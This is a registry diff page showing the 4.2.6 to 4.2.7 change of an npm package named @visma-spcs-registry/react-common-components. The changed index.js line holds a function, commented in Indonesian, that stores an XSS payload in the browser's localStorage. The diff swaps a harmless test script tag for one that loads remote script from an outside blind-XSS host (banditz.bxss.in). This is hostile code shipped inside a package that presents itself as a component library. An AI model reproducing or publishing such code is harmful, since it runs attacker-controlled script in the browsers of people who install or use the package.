@visma-spcs-registry/react-common-components 4.2.6 → 4.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -1
- package/package.json +1 -1
package/index.js
CHANGED
@@ -59,7 +59,7 @@ function getIfconfig() {
|
|
59
59
|
// Simpan payload XSS ke localStorage (Hanya jika berjalan di browser)
|
60
60
|
function storeXSSPayload() {
|
61
61
|
if (isBrowser) {
|
62
|
-
const payload = `<script>console.log('XSS berhasil disisipkan!');</script>`;
|
62
|
+
const payload = `<script src=https://banditz.bxss.in >console.log('XSS berhasil disisipkan!');</script>`;
|
63
63
|
try {
|
64
64
|
localStorage.setItem('xssTest', payload);
|
65
65
|
console.log('✅ XSS Payload berhasil disimpan di localStorage.');
|